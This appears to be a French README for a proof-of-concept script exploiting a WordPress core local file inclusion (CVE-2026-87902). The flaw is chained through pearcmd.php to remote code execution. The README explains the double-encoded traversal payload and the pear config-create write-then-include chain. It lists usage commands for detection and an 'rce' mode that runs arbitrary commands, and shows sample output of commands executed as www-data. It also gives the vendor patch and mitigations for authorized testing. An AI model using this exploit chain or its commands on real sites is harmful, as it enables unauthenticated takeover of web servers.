PoC shell pour CVE-2026-87902, une LFI non authentifiée du cœur de WordPress via la résolution de page-template qui s'enchaîne en RCE via pearcmd.php.
| Composant | Cœur de WordPress (wp-includes/template.php) |
| Type | CWE-98 — Inclusion de fichier PHP (LFI → RCE) |
| Affecté | WordPress < 7.1.2 (branche 7.0 corrigée dans 7.0.6 ; rétroportages 6.x dépendants de la branche) |
| Corrigé | 7.1.2 / 7.0.6 |
| CVE | CVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| PoC | poc.sh |
get_page_template() ajoute page-{urldecode(pagename)}.php à la hiérarchie des modèles de page lorsque
la variable de requête pagename contient des caractères encodés en pourcentage, et locate_template()
résout le candidat avec file_exists() / require sans vérifier que le chemin reste
à l'intérieur du thème actif. Un attaquant non authentifié peut donc inclure et exécuter un fichier
.php local lisible de son choix en dehors du thème actif.
Préconditions :
< 7.1.2.page- (par exemple le thème
officiel Twenty Fourteen fournit page-templates/). Le nom du modèle est toujours préfixé par page-,
donc le premier composant du chemin doit exister.La charge utile est doublement encodée afin que sanitize_title_for_query() préserve les octets %2e/%2f ;
urldecode() à l'intérieur de get_page_template() reconstruit ensuite ../ au moment de la résolution du modèle.
Si le serveur dispose également d'un pearcmd.php accessible et de register_argc_argv = On (valeur par défaut dans
l'image PHP officielle), la chaîne s'élève en exécution de code à distance : la chaîne de requête
devient des arguments CLI via les séparateurs +, pear config-create écrit un fichier .php
contrôlé par l'attaquant, et la même LFI l'inclut.
# Menu interactif (recommandé pour un démarrage rapide)
./poc.sh
# 1) Détecter la LFI (lecture seule)
./poc.sh check --target https://example.com
# 2) Détecter la LFI et tester les préconditions de la RCE (charge utile auto-supprimante)
./poc.sh check-rce --target https://example.com --authorized
# 3) Exécuter une commande via la chaîne (charge utile auto-supprimante)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"
Options : --page-id N, --ups N, --pearcmd PATH, --timeout N. --authorized (ou
VDP_AUTHORIZED=1) est requis pour tout mode susceptible d'écrire lorsque la cible n'est pas localhost.
check)== CVE-2026-87902 PoC (check) ==
target: https://example.com
[1] Discovering a public page ID
[info] page_id: 17
[info] baseline: POST /?page_id=17 -> 52377 bytes
[2] Testing the LFI (read-only include of wp-includes/version.php)
[PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
[info] theme directory: page-templates/ traversal depth to webroot: 4
[info] second file confirmed: wp-admin/install.php executed (static string returned)
== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==
check-rce / rce)[3] Testing the LFI-to-RCE chain (self-deleting payload)
[PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
[PASS] RCE CONFIRMED: command output returned (uid/gid present)
[info] payload self-deleted (cleanup verified)
[4] Executing command: id;hostname;whoami
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> 4119cb19757f
> www-data
Si la LFI est confirmée mais que PEAR est absent (ou que register_argc_argv est désactivé), le script signale
clairement la précondition et se termine sans rien écrire (exit 3).
page-* candidat et chaque profondeur de traversée, requêter
page-<dir>/../../…/wp-includes/version.php via le paramètre pagename
(POST, corps vide — nécessaire car WordPress effectue d'abord une redirection canonique sur GET/HEAD).200 avec un corps de 0 octet (contre la référence de page de plusieurs Ko) prouve l'inclusion.pear config-create via la LFI avec une charge utile auto-supprimante, puis
inclure le fichier écrit avec une commande fournie dans la requête.Correctif du fournisseur dans 7.1.2 (wp-includes/template.php) :
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
plus une vérification de confinement par realpath() dans locate_template()
(_wp_is_template_path_allowed()). wordpress-7.0.6 contient le correctif identique au bit près.
pagename contenant des séquences de traversée (.., %2e%2e,
%252e%252e) sur toutes les méthodes HTTP, ou supprimer la précondition du répertoire de thème page-*.Pour des tests de sécurité autorisés uniquement. Les modes RCE utilisent une charge utile auto-supprimante et n'écrivent rien d'autre que leur propre fichier marqueur temporaire, mais ils exécutent tout de même des commandes sur la cible — ne les lancez que là où vous disposez d'une autorisation explicite.